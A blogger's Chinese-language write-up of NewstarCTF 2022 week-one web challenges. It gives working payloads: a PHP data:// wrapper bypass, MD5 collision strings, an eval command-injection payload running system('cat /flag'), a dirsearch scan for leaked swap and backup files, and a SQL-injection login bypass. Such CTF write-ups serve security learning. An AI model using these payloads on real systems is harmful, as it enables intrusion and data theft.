[Writeup]2022 NewstarCTF_Week1(Web部分)

发布时间 2023-09-06 16:52:02作者: notbad3

2023 Newstar CTF就要开始了,在buuctf上把去年的题做了一下,虽然是新生赛但仍有挺多我不知道的知识。。感觉web我才走完几千分之一的路程

HTTP&&Head?Header!

burpsuite抓包再改,没什么难度。

NotPHP

进环境:

 <?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
            echo "Hack Me";
            eval("#".$_GET['cmd']);//通过注释符注释掉命令执行,但不存在绕过吗?
        }else{
            die("Number error!");
        }
    }else{
        die("Wrong Key!");
    }
}else{
    die("Pass it!");
} Pass it!

挺经典的PHP代码题了,第一个条件
(file_get_contents($_GET['data']) == "Welcome to CTF")
直接GET传参用data伪协议写就行:
/?data=data://text/plain,Welcome to CTF
第二个条件找MD5碰撞,两个不一样的东西MD5后hash值相等,有两种方法:第一种就是MD5无法加密数组所以会返回null,然后相等。第二种就是真的去找MD5碰撞使明文不等但密文相等
key1[]=1&&key2[]=2//注意这里key2[]不能等于1
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
非数组碰撞在burpsuite里用,直接在地址栏输好像太长了(?)哈哈
第三个条件直接POST num=2077a就行
接下来执行命令的时候撞墙了,因为他前面拼接了个'#',不能直接system('ls');。。搞了半天不知道这种情况要怎么解决,后来去网上找了下wp,原来要用?>把前面的PHP语句闭合再执行。它现在的形式是 ,前面拼个?>闭合开头,感谢这两位师傅的文章:
https://blog.csdn.net/fevergun/article/details/127593034
https://blog.csdn.net/weixin_46497491/article/details/126998485
还可以通过换行符%0a绕过这个#号;
后面就是正常的命令执行了,system('ls');看当前目录下的文件,system('ls%20/')看根目录:
image
根目录下有个flag,直接读:
payload:
/?data=data://text/plain,Welcome%20to%20CTF&&key1[]=1&&key2[]=2&&cmd=?><?php%20system('cat%20/flag');//别忘了POST num=2077a
image

我真的会谢

题目描述:我谢了啥?
image
发现要去找写些敏感的文件夹,我先想到的就是.git文件,结果它底下就没.git这个文件。。直接dirsearch扫一下吧:
>python dirsearch.py -u http://fa111efb-d217-458a-bf3b-18e20dc4853d.node4.buuoj.cn:81/ --delay 3 -t 30
image
image
image
image
后面找了找出了robots.txt之外的文件都是干啥的,感谢这位师傅的文章:
https://blog.csdn.net/qq_40317852/article/details/121582515

先是VIM泄露:
`在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
  以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
  再次意外退出后,将会产生名为 .index.php.swo 的交换文件
  第三次产生的交换文件则为 .index.php.swn`
www.zip是存网站备份文件的

下载上面那三个文件后拿到分成三部分的flag,拼起来就行了。

Word-For-You

进入环境:
image
输入NewCTFer看看情况:
image
这东西像个登录框?看看是不是单引号包裹:
image
单引号包裹,直接1'or'1=1'#登录:
image
得到FLAG
这题应该还可以再查看留言那个板块SQL注入爆表爆列爆字段拿flag,懒得搞了XD
image